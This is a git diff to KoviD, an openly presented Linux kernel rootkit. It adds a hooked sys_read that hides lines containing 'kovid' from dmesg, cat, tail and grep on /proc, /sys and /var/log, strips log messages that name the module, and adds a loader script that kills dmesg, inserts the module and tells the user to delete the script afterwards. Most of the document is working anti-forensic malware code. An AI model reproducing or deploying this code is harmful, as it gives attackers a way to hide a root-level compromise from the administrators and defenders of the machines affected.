diff --git a/README.md b/README.md index 39b1ec3..014722b 100644 --- a/README.md +++ b/README.md @@ -56,6 +56,9 @@ Read [Phrack magazine](http://phrack.org/issues/71/12.html#article) where g1inko Linux hash-virtual-machine 5.19.0-41-generic #42~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC UTC 2 x86_64 x86_64 x86_64 GNU/Linux + Linux Standard-PC-Q35-ICH9-2009 5.15.0-43-generic #46-Ubuntu + SMP x86_64 x86_64 x86_64 GNU/Linux + ## 2 - Features ### 2.1 Hide itself (module) diff --git a/run.sh b/run.sh new file mode 100755 index 0000000..a41a525 --- /dev/null +++ b/run.sh @@ -0,0 +1,4 @@ +#!/bin/bash +# rm -f this file after use +sudo kill -PIPE `pgrep dmesg` +sudo insmod ./kovid.ko diff --git a/src/fs.c b/src/fs.c index 68fa1f3..2612416 100644 --- a/src/fs.c +++ b/src/fs.c @@ -173,7 +173,6 @@ static int _fs_add_name(const char *names[], bool ro, u64 ino) { if (!hn) return -ENOMEM; - prinfo("addname '%s' ro=%d\n", *s, ro); hn->name = kcalloc(1, len+1, GFP_KERNEL); strncpy(hn->name, (const char*)*s, len); hn->ro = ro; @@ -223,7 +222,6 @@ bool fs_del_name(const char *names[]) { void fs_names_cleanup(void) { struct hidden_names *node, *node_safe; list_for_each_entry_safe(node, node_safe, &names_node, list) { - prinfo("cleaning '%s'\n", node->name); list_del(&node->list); if (node->name) kfree(node->name); diff --git a/src/kovid.c b/src/kovid.c index 1136297..4c7c598 100644 --- a/src/kovid.c +++ b/src/kovid.c @@ -339,8 +339,23 @@ static void kv_unhide_mod(void) { static char *get_unhide_magic_word(void) { static char *magic_word; - if(!magic_word) - magic_word = kv_util_random_AZ_string(MAX_MAGIC_WORD_SIZE); + + if(!magic_word) { + char *m = NULL; + + /** must be pretty unlucky + * for this to be forever loop + */ + do { + if (m) { + kfree(m); + m = NULL; + } + m = kv_util_random_AZ_string(MAX_MAGIC_WORD_SIZE); + } while(strstr(m, "kovid")); + + magic_word = m; + } /* magic_word must be freed later */ return magic_word; @@ -437,7 +452,8 @@ static int proc_timeout(unsigned int t) { } /** - * Simple commands: hide, , show + * Current ui + * XXX this needs to go */ static ssize_t write_cb(struct file *fptr, const char __user *user, size_t size, loff_t *offset) { @@ -818,7 +834,7 @@ static int __init kv_init(void) { op_lock = 1; #endif - prinfo(KERN_INFO "%s loaded.\n", MODNAME); + prinfo(KERN_INFO "loaded.\n"); goto leave; unroll_init: @@ -875,7 +891,7 @@ static void __exit kv_cleanup(void) { fs_names_cleanup(); - prinfo("kovid unloaded.\n"); + prinfo("unloaded.\n"); } module_init(kv_init); diff --git a/src/sys.c b/src/sys.c index 5a4486e..3bab6c5 100644 --- a/src/sys.c +++ b/src/sys.c @@ -29,6 +29,7 @@ sys64 real_m_clone; sys64 real_m_kill; sys64 real_m_execve; sys64 real_m_bpf; +sys64 real_m_read; #define PT_REGS_PARM1(x) ((x)->di) #define PT_REGS_PARM2(x) ((x)->si) @@ -173,6 +174,90 @@ static asmlinkage long m_kill(struct pt_regs *regs) return real_m_kill(regs); } +/** + * Given an fd, check if parent + * directory is a match. + */ +static bool is_sys_parent(unsigned int fd) { + struct dentry *dentry; + struct dentry *parent_dentry; + char *path_buffer; + bool rv = false; + + struct fd f = fdget(fd); + if (!f.file) + goto out; + + dentry = f.file->f_path.dentry; + parent_dentry = dentry->d_parent; + + path_buffer = (char *)__get_free_page(GFP_KERNEL); + if (!path_buffer) { + fdput(f); + goto out; + } + + char *parent_path = d_path(&f.file->f_path, path_buffer, PAGE_SIZE); + if (!IS_ERR(parent_path)) { + if (!strncmp(parent_path, "/proc", 5) || + !strncmp(parent_path, "/sys",4) || + !strncmp(parent_path, "/var/log", 8)) + rv = true; + } + + fdput(f); + free_page((unsigned long)path_buffer); + +out: + return rv; +} + + +static asmlinkage long m_read(struct pt_regs *regs) { + char *buf = NULL; + const char __user *arg; + size_t size; + long rv; + struct fs_file_node *fs = NULL; + bool is_dmesg = false; + + /** call the real thing first */ + rv = real_m_read(regs); + + fs = fs_get_file_node(current); + if (!fs || !fs->filename) + goto out; + + /** special case :( */ + is_dmesg = !strcmp(fs->filename, "dmesg"); + + /** Apply only for a few commands */ + if ((!is_dmesg) && + (strcmp(fs->filename, "cat") != 0) && + (strcmp(fs->filename, "tail") != 0) && + (strcmp(fs->filename, "grep") != 0)) + goto out; + + size = PT_REGS_PARM3(regs); + if (!(buf = (char *)kmalloc(size, GFP_KERNEL))) + goto out; + + arg = (const char __user*)PT_REGS_PARM2(regs); + if (!copy_from_user((void *)buf, (void *)arg, size)) { + char *dest = strstr(buf, "kovid"); + if (!dest) + goto out; + + /** if kovid is here, skip */ + if (is_dmesg || + is_sys_parent((unsigned int)PT_REGS_PARM1(regs))) + rv=0; + } +out: + kv_mem_free(&fs, &buf); + return rv; +} + /** * Stolen static/private helpers * from the kernel @@ -948,6 +1033,7 @@ static struct ftrace_hook ft_hooks[] = { {"sys_exit_group", m_exit_group, &real_m_exit_group, true}, {"sys_clone", m_clone, &real_m_clone, true}, {"sys_kill", m_kill, &real_m_kill, true}, + {"sys_read", m_read, &real_m_read, true}, {"sys_bpf", m_bpf, &real_m_bpf, true}, {"tcp4_seq_show", m_tcp4_seq_show, &real_m_tcp4_seq_show}, {"udp4_seq_show", m_udp4_seq_show, &real_m_udp4_seq_show},